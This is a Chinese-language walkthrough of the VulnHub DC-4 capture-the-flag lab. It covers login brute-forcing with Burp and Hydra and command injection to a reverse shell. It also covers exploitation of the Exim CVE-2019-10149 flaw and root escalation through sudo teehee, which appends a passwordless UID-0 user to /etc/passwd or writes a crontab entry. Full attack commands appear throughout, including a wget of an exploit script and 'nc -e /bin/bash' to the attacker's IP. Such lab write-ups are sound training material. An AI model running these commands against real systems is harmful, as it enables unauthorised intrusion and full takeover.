vulnhub DC-4题解
0X01 Main Point
- 1.Burpsuite爆破模块进行简单爆破
- 2.Hydra爆破进行SSH连接
- 3.CVE-2019-10149–exim漏洞进行本地提权
- 4.teehee提权
0X02 前期嗅探和端口探测
arp-scan -l 得到靶机IP地址

namp -sV -A -p- 172.20.10.4 探测靶机开放端口

目标只开放了
80、22
两个端口,先看页面:

dirb、dirsearch、御剑
扫完目录后确实没有其他可以利用的目录了,这里只能考虑从这个登录框入手,我们默认username为admin,导入intruder进行爆破(选取一个合适的passwd字典):
发现有很多密码都能进行登录,直接登录后发现:

运行了指令,抓包得到:

发现可以执行构造的指令,直接一个反弹shell,kali监听进行连接即可:

python -c 'import pty;pty.spawn("/bin/bash")' 得到交互式Bash

/home
下发现有三个用户,jim用户可以看到backups文件夹,进入后得到jim用户历史密码:
保存后直接hydra爆破得到jim的密码:
hydra -L jim -P '/root/jimpass' ssh://172.20.10.4 -t 10

非预期提权思路
su
切换到Jim用户后,ls -la
打开mbox查看后发现是邮件,重点是exim–邮件传输代理服务器软件:

这个版本对应有CVE-2019-10149,
searchsploit exim
直接将这个脚本放到kali机/var/www/html/getshell.sh
下,service apache2 start
开启服务器后,靶机切到/tmp
路径下,wget http://172.20.10.8/getshell.sh
下载这个脚本:
chmod 777 getshell.sh 赋予可执行权限
busybox dos2unix getshell.sh 转化文件格式
这里如何使用getshell.sh可以先查看对应的CVE,这里我们直接使用:

得到root后:
nc -e /bin/bash 172.20.10.8 2333 #172.20.10.8是kali的IP,直接提权后得到flag
常规提权思路
su
切换到Jim用户后,ls -la
打开mbox查看后发现是邮件,那么mail
后发现有一封邮件:

得到charles用户的密码,切换到charles用户:
find / -perm -u=s -type f 2>/dev/null 查看SUID文件

发现我们之前利用了的
exim4
,这里就是非预期提权方法了,这里假装没看到,其他的SUID程序都是很常规的,这里得不到信息。
sudo -l 查看可以以root权限执行的命令

/usr/bin/teehee
是啥呢?
-a 命令可以附加到指定的文件上而不是覆盖,这里思路就很明确了,我们直接附加一个用户到
/etc/passwd
上,这个用户拥有root权限,然后在切换到这个用户即可。
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
| 在Linux中是管道,上一条命令的输出,作为下一条命令参数,这样成功在/etc/passwd
上附加了admin用户(空密码)

看到其他师傅的walkthrough上还有一种姿势:
通过定时任务执行脚本提权
向/etc/crontab文件中写入新的定时任务,把时间全设置为*,这样就是每分钟执行一次,再将/bin/sh的权限设置为4777。

echo '***** chmod 4777 /bin/sh | sudo teehee -a /etc/crontab' 写入定时任务
同样可以得到root权限。
以上就是本人所有的提权思路